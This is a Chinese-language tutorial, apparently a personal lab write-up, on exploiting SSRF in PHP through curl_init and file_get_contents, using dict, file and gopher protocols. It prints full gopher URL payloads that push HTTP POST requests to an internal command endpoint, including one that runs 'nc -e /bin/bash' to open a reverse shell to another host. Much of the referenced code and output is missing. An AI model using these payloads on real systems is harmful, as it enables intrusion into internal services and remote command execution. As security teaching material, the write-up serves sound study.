初探SSRF
Curl_init导致SSRF:
关于开启php的curl扩展:
打开配置文件,开启curl扩展:
SSRF代码:
关于curl中的重要参数:
参考blog:https://www.php.cn/php-weizijiaocheng-403437.html
首先展示一下效果图:
- 使用dict协议查看端口信息:
如果端口打开,会返回端口对应服务的banner信息
- 利用file协议读取文件:
- 利用gopher协议:
关于gopher协议的一些研究:
Gopher协议格式:URL:gopher://<host>:<port>/<gopher-path>_
后接
TCP
数据流
先做几个研究:首先发一个gopher包,利用nc接收:
可以发现数据已经换行了,而且h没有打印出来,被吞掉了。,因此一般都先输入一个垃圾字符:
通过上面还可以看到,%0a被gopher协议解释成换行符,另外通过浏览器发送数据包时要将%编码。
通过gopher协议发送http请求:
首先要进行的便是两种协议格式之间的转换:http协议一般用\r\n作为结束符,而gopher一般使用%0d%0a,所以要先将格式转换:
完整的:
POST /sys.php HTTP/1.1%0d%0aHost: 192.168.135.130%0d%0aUser-Agent: Mozilla/5.0 (Android 10; Mobile; rv:74.0) Gecko/74.0 Firefox/74.0%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 10%0d%0a%0d%0ae=ifconfig
构造gopher协议的URL:
gopher://127.0.0.1:80/_POST /sys.php HTTP/1.1%0d%0aHost: 192.168.135.130%0d%0aUser-Agent: Mozilla/5.0 (Android 10; Mobile; rv:74.0) Gecko/74.0 Firefox/74.0%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 10%0d%0a%0d%0ae=ifconfig
通过SSRF漏洞发送:记得进行一次urlencode编码
尝试反弹shell:注意要重新进行字符的替换,不然一直请求失败
gopher://127.0.0.1:80/_POST /sys.php HTTP/1.1%0d%0aHost: 192.168.135.130%0d%0aUser-Agent: Mozilla/5.0 (Android 10; Mobile; rv:74.0) Gecko/74.0 Firefox/74.0%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 36%0d%0a%0d%0ae=nc -e /bin/bash 192.168.135.1 4444
参考blog:https://blog.chaitin.cn/gopher-attack-surfaces/
https://blog.****.net/qq_41107295/article/details/103026470
file_get_content造成的SSRF:代码
效果:
测试发现dict协议和gopher协议失效了。
第三种:利用php套接字模拟发送http请求: